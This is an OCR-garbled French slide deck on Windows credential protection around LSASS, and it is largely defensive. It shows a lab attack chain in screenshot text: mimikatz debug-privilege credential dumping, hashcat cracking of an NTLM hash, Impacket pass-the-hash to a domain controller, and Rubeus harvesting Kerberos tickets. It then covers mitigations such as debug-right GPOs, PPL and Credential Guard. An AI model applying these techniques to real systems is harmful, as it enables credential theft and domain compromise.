Protection des informations
d’authentification en mémoire

(environnement Windows)




Fonctionnement par défaut :

* Tout processus exécute par un utilisateur (méme Appications
administrateur local de la machine) ne peut pas o di
nativement accéder aux informations d'un e [Pt Tan
processus exécuté avec les priviléges « systéme » .. [T—————— 1

= e Support Routines
H - I4 = Kemelode [<—> Operating « F“Eﬁ\r:::m

* Tout compte administrateur local d'une machine e System Kernel

peut utiliser la fonction de débogage des Y !

Hardware Abstraction Layer

!

Hardware

programmes, Ilui permettant d’accéder au
contenu d'un processus executé en meémoire
avec les privileges « systéme »

Source : Microsoft
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Le processus LSASS

LSASS (Local Security Authority Subsystem Service) :

Gére les authentifications locales sur la machine

Gére les authentifications via un domaine Active Directory

* Conserve en cache identifiant + mot de passe en clair ou son condensat (hash)
* Conserve en cache les tickets de sessions Kerberos

Est généralement ciblé par les attaquants et / ou pentesters

LERERE, mimikatz 2.2.8 (x64) #19841 Jul 1 2821 83:17:37
JHE M ##. A La Vie, A L'Amour"™ - { ]
# /N ##  /*** Benjamin DELPY
# O\ S #H » https://blog
THE v #E' Vincent LE T i
TEEEEE > https://pingcastle.com / https://mysmartlogon

mimikatz # privilege::debug
Privilege "28" OK
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Exploitation LSASS (exemples : Procdump + Mimikatz)
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exploit_debug_lsass


EN Sélection mimikatz 2.1.1 eo) /home /kali
1000 @ hash.txt rockyou.txt

IPS C:\Users\admin_t2_cbr\Desktop\mimikatz\x64> .\mimikatz.exe hashcat (v6.2.6) starting

L. mimikatz 2.1.1 (x64) built on Mar 25 2818 21:01:13
L ™ ##. "A La Vie, A L'Amour” - (oe.eo)
## / \ ## /*** Benjamin DELPY ~“gentilkiwi~ ( benjamin@gentilkiwi.com } Do
# O\ ## > http://blog.gentilkiwi.com/mimikatz
YH## v #3H' Vincent LE TOUX { wincent.letoux@gmail.com ) OpenCL API (OpenCL 3.0 PoCL 6.@+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
= > http://pingcastle.com / http://mysmartlogon.com RIS

nasncat 1ss

* Device #1: cpu-sandybridge-Intel(R) Core(TM) i7-6820HQ CPU @ 2.7@GHz, 2152/4368 MB (1024 MB allocatable), 2MCU
mimikatz # privilege::debug .
Privilege "8 0K Mln}mum password length supported by kernel: @
Maximum password length supported by kernel: 256
TETEIEEE & SHATLIEC STE Hashes: 1 digests; 1 unique digests, 1 unigue salts
Bitmaps: 16 bits, 65536 entries, @xB@@@ffff mask, 262144 bytes, 5/13 rotates

Authentication Id : @ ; 1385877 (99@E0000:00152595) T

Session : Interactive from 2

User Mame : admin_t2_cbr

Domain : WOUNDRIDE Zero-Byte

Logon Server : W2019-DCa1 * Early-Skip

Logon Time : B85/82/2825 12:88:53 * Not-Salted

SID : 5-1-5-21-33329684388-1614487934-3487257785-1125 Not-Iterated
msyv * Single-Hash
[@ee0e883] Primary Single-salt
* Username : admin_t2_cbr * Raw-Hash

Domain » LANIINDDRTNE

*
* NTLM 7e4826687ad6beBabd7 36F1TabcBbcle
*
*

Optimizers applied:

SHAL S GlUlLLa iU LG uir e Lo s o s e e 2wud22bO6
DPAPT : 3b67e7483a@l3bd6c4bbadiac9Bia3e

Watchdog: Temperature abort trigger set to 9@c¢
Host memory required for this attack: @ MB

/home/kali Dictionary cache built:
woundride/admin_t2_cbr\@192.168.46.2 -ha :7e4026687ad6be0abd736f1fabc8bcls * Filename..: rockyou.txt
Impacket v@.12.0 - Copyright Fortra, LLC and its affiliated compan as + Pascwords.: T434%301

Type help for list of commands & : 139921497
# shares #* Keyspace..: 14344384

ADMINS * Runtime ... : 2 secs

NETLOGON 7e4026687adbbe@atd736f1fabc8bcl6 t PRSSwlrd

SYSVOL

#f use SYSVOL : hashcat

:n}fsrw T Fri Jun 3 10:58:11 2022 ? el

drw-Tw-ru- Fri Jun 3 10:58:11 2022 .. : 1000 (NTLM)

drw-Tw-Tw- Fri Jun 3 10:58:11 2022 woundride.local : 7e4026687ad6be@abd736f1fabc8bclb
.y |
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Atténuer le risque

Restreindre I'acces au débogage des programmes :

% debug Groupe de sécurité - Global
* Créer un groupe « debug » vide roox
* Ajouter les utilisateurs temporairement lorsque Oessr Sovoesde dnane ckveDructry
cela est nécessaire
Ajouter... Supprimer
Annuler Appliquer
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Atténuer le risque

Restreindre I'acces au débogage des programmes :

* Créer une stratégie de groupe (GPO) n’autorisant que le groupe « debug » a
utiliser la fonction de débogage des programmes

Configuration ordinateur (activee)
Paramétres Windows
Paramétres de sécurité
Stratégies locales/Attribution des droits utilisateur

Stratégie Parameétre
Débaguer les programmes WOUNDRIDE \debug
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https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/debug-programs

Atténuation

i Gestion de stratégie de groupe
[ Fichier Action Affichage

e n@m o3

4 Gestion de stratégie de groupe

v A Forét: woundride.local
v (3 Domaines
~ 2 woundrideor="
+1/ Default D¢
2 Domain C
Ordinateu
Utilisateur
7 Objets de
7 Filtres W
) Objets GP
@ Sites
 Modélisation de <
%, Résultats de strat

Fenétre 2

3 un objet GPO dans ce domaine, et le fier i
Lier un objet de stratégie de groupe existant...
Bloquer Ihéritage

Assistant Modélisation de stratégie de groupe...

- B8 x
-8 %
woundride.local
Etat  Objets de stratégie de groupe liés  Hértage de stratégie de groupe  Délégation
Ia répication Active Drectory et SYSVOL (DFRS) pour ce domaine, car il est associé & la stratégie de groupe.
woundride Jocal est le contrdleur de domaine de base pour ce domaine. Modfication

Nouvelle unité d’organisation

Rechercher..

Modifier le contréleur de domaine...
Supprimer

Utilisateurs et ordinateurs Active Directory...
Affichage

Nouvelle fenétre 3 partir d'ici

Actualiser

Propriétés

Aide

Créer un objet de stratégie de groupe dans ce domaine et le lier 3 ce conteneur

ion d'état d'infrastructure pour ce domaine.

«cter pour collecter | état dinfrastructure de tous les contréleurs de domaine de ce domaine.
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ban_debug_lsass


Limitations
000

Les processus « systeme » restent accessibles au compte ... « systéeme » :

* Une élévation de priviléges au niveau systéme permet d'utiliser le débogage des programmes et d'accéder aux informations des
processus chargées en mémoire

sauns.  mimikatz
#

1y

cemprg. mimik
#.
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Limitations
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system_access_lsass


Les systémes modernes > \X/indows 11 > 22H2

Le processus LSASS est désormais protégé par défaut :

* Par défaut, le processus est lancé :
* Comme Protected Process Light (PPL) (Fonctionnalité LSA-protection)
« Sile verrou UEFI (Unified Extensible Firmware Interface) et le démarrage sécurisé sont activés, la désactivation
de LSA-protection n’est pas possible.

| BN mimikatz 2.2.0 x64 (oe.e0)

mimikatz #

* En complément, il est possible d'ajouter une couche de protection avec la fonctionnalité Credential Guard
permettant de stocker les secrets dans un processus LSA isolé ou LSAlso.exe, appelé par le processus LSASS,
restant non accessible par le reste du systéme.
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Le processus MSTSC.exe (RDP) n’est pas protégeé :

* Méme sur des systémes modernes comme Windows 11, tous les processus, comme MSTSC.exe ne sont pas
nativement protégés contre le vol de secrets en mémoire.

| PID 964

S
St
U
U
D
P:
Si
P:
St
Ri

tring] 'W2019-DCO1.woundride.local’
n 'WOUNDRIDE\c.blanc-rolin*

* Ouvrir une session RDP avec un compte privilégié sur une machine comporte des risques !
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Les vulnérabilités persistantes

Le processus LSASS peut toujours étre interrogé via API ™ :

* Sur Windows 11, il reste possible d’interroger LSA via APIl, comme le fait Rubeus. Ce qui permet de récupérer les
tickets Kerberos :

¥ Administrateur: Windows PowerShell - o x

It's not a bug,
om Mk = B e e e it's a feature ™

InMUBINZ: Gardht TEA z fi 96 c 6 5
KHI el rald C: 7rD41dejRkHy
pFAQmmENXW)

4
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. : Les vulnérabilités persistantes

La désactivation du mode Debug e

EN Administrateur : Windows PowerShell

Action: TGT Monitoring
Monitoring every 1 seconds for new TGTs

Unhandled Rubeus exception:

System.ComponentModel .Win32Exception (8x88804885): Accés refusé
a System.Diagnostics.ProcessManager.OpenProcess({Int32 processId, Int32 access, Boolean throwIfExited)

System.Diagnostics.Process.GetProcessHandle(Int32 access, Boolean throwIfExited)
System.Diagnostics.Process.0OpenProcessHandle(Int32 access)
System.Diagnostics.Process.get_Handle()
Rubeus.Helpers.GetSystem()
Rubeus.LSA.GetlLsaHandle(Boolean elevateToSystem)
Rubeus.LSA.EnumerateTickets(Boolean extractTicketData, LUID targetlLuid, String targetService, String targetUser, 5t
targetServer, Boolean includeComputerAccounts, Boolean silent)
Rubeus.Harvest.HarvestTicketGrantingTickets()
Rubeus.Domain.CommandCollection. ExecuteCommand{String commandiMame, Dictionary” 2 arguments)
Rubeus.Program.MainExecute(5tring commandName, Dictionary™2 parsedArgs)
:\Usershc.blanc-rolin\Desktop>
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. : Les vulnérabilités persistantes

La désactivation du mode Debug empéchera l'interrogation via APl {mais pas a

PS C:\Users\c.blanc-rolin\Desktop> whoami.exe
i \systéme
Action: TGT Monitoring PS C:\Users\c.blanc-rolin\Desktop> .\Rubeus.exe monitor /interwal:l
Monitoring every 1 seconds for new TGTs

] Unhandled Rubeus exception:

stem. (Dmpunen Model.Win32Exception (8x80804805): Accds refusé
.ProcessManager .OpenProcess(Int32 processId, Int32 acc
.Process . GetProcessHandle( access, Boolean throwI
System.Di .Process.OpenProcessHandle(Int32 access)
System.Diagnostics.Process.get_Handle()
Rubeus. Helpers.GetSystem() = ion: TGT Monitoring
Rubeus. LSA.GetLsaHandle(Boolean elevateToSystem) *] Monitoring every 1 seconds for neu TGTs
Rubeus.LSA. EnumerateTickets(Boolean extractTicketData, LUID targetluid,
targetServer, Boolean includeComputerAccount s Boolean silent)
Rubeus . Harvest. HarvestTicketGrantingTickets() ] 02/82/20626 ©9:34:49 UTC - Found new TGT:
Rubeus.Domain. ComnandCollect ion. Execut e(nmmanch’ ing commandName, Dic
Rubeus. Program. MainExecute(String commandName, Dictionary 2 parsedArgs) : c.blanc-rolin@WOUNDRIDE . LOCAL
:\Users\c.blanc-rolin\Desktop> .\PsExec6d.exe powershell.exe tTi : 82/62/2026 1 o8
: 82/62/2026 20:21:08
RenewTill : 89/62/2626 1 88
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
Base64EncodedTicket

doIFnjCCBZqgAwWIBBaEDAgEWOOIE1TCCBIFhggSNM iaADAgEFOREDD1dPVUSEUK]ERSSMTONBTK IkMCKgAWIBAGEDMBKbBmtY
YnRndBsPV@IVTkRSSURFLkxPQ@FMo41ERzZCCBEOgAWIBEQEDAGECOOIENQSCBDEIN]G/GkjIYVSdN/DpEbSND/KkoFEh/BZ737X1i
zSb56Xanm2+yVExx/6Tz3xIKbggPIKskDPEAGMH261y s37GSBYmYyLk/jeVk/H7pOgMAGN] d8+E6GECtD310IKSOrUGAN971n30b
8SkFIDrYNt AMSFS@j+W1ric9CxUez SHCNWwBYHy bc0yd1eghxbgd/ cjActQnx
GA40R87171sIf5dnve3hXwp/wfEmS1z5IgaARyjSDYaQZ! YXLCx/CYxW/ eBWRsV353UhTSMMHaU+8nsQHFVF /15rsEX/ sbG8
ktHbVIWEX95 / YX1HS 1hQmF 8NZzQCmQZzOAWVG2 tmOhVIK091jt1F6CHrH+gGF ZMECZdGVX7btDt Jca80qgUKhe1s5A3YU/ 2iZr /UME
20WPpytqESXPL7sKOdSBrDF 7ngxuR7cYFgVIVsC/1fw0snbActqsl 1mPhOL piniZjFO0S ihgfoXQasdxY5j@0KTeDw2QnDuyZLmo
R491WFwWENT 7khjNdWIGFCEESNIVEdMAIrrbII4QbLunNLzyuYalp312EPSG766Wds INHods 2 1WxcmPkmQhqISP1uN4Le6XbXbMeY
FPHre@HLoH15E/Wt5KQDZATRpYxy SMseNi+KMI Lx8AZHON/ Mixgh 9k IyWIQPpvUFd9Vs8e It sNvsuQsp8JSFOKFORCIq2ynImoQ2s
nftf87eajt/gGdbVTG}7BNU4baPg6KEZN9Qdz qumEDZhKS0xmEbUg I8VZ13zvR50q+wID+AAXHF O/ gndyFXP/ j1eTye2Dls6
Rg374Q6wm9ToAqQecgCRyP/ TcdHnqtAdK1trO3KpYvobbb9Upel z7drCagkhDgk SWDZSgQ4d8UGmMGGM3eoZUCOVE/gliXRIWKOLL
DBVNaGsKdWUpR36N/HEBUNCYEK+gySqXVdVHKCRGpGZ118 MHKAY YdrNTZWSULWNhQgUrjHI1YKHO T28WE Mg 3SUSYRBZ42Bg7uZb
8qeus12j8ekKrlzsGZPfwDghassXpcOsOzEogzelYSRArVIWENW/ 7CRTQN2+Ka4W2zdewWBi3jgipCgVjvseKgaphvIIRI2dje8D14
PiTPzMFbnLhP626AP9VCUh1DagskrI+DFXIbr+RX5]2dVrtOvFk3jXTV8vrLOKYHIIVIGnkQ7GR18GXSMI2CvKkrRP7ep1futiay
tOAXmgCXz4x6Y10dzQE+FZ46dIGbydQYSIxHYCzpicItpmNcsBFHCLCCK S+ rHUWGKtc2DtLF3ATBpSoXAVT91K S0/ a@CPR+8BOF
4hyw11LZ3x%apQ2y9roVuD+e56rvsHaeGqCRuM4sXCiFUhGF sIMIt] PHEFde:Leleff‘SPgGqu.RurJDoK GXJ.SAUR\.FV'UCEBDCE
8aADAZEACOHPBIHMFYH] dMIHaMIHX0CSWKaADAZESOS.
D1dPVUSEUK1ERSSMT@NEBTI MBigA AaERMASDDWMUYmXhbmMt, T
DzI VquLyH’<yr—w’;4|.‘qﬁ6&8yl—m,zl—wD:uE’L;I—jEx.EFanRsDVBGv’<RSSuRFL<xDQBFr—quQ|-.:quLgE(nRsn-.GRsﬁa;deﬁda
GWOXT1VORFIIREUUTEIDQUwW=

] 02/82/2626 89:34:49 UTC - Found new TGT:
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Ressources et outils utilisés

Debug Programs GPO (Microsoft) :

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-p
rotection/security-policy-settings/debug-programs

User Mode & Kernel Mode (Microsoft) :

https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel
-mode

ProcDump (Sysinternals / Microsoft) :
https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

Mimikatz (Benjamin Delpy / @gentilkiwi) :
https://github.com/gentilkiwi/mimikatz

PsExec (Sysinternals / Microsoft) :
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
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https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/debug-programs
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/debug-programs
https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode
https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode
https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
https://github.com/gentilkiwi/mimikatz
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec

Ressources et outils utilisés

* Configurer une protection LSA renforcée (Microsoft) :

https://learn.microsoft.com/fr-fr/windows-server/security/credentials-protection-and-management/config
uring-additional-Isa-protection

* LSAExplorer
https://qgithub.com/5Fingers/LSAExplorer

* Protected Processes & PPL (trainsec)
https://trainsec.net/library/windows-internals/protected-processes-ppl-keeping-windows-heart-safe/
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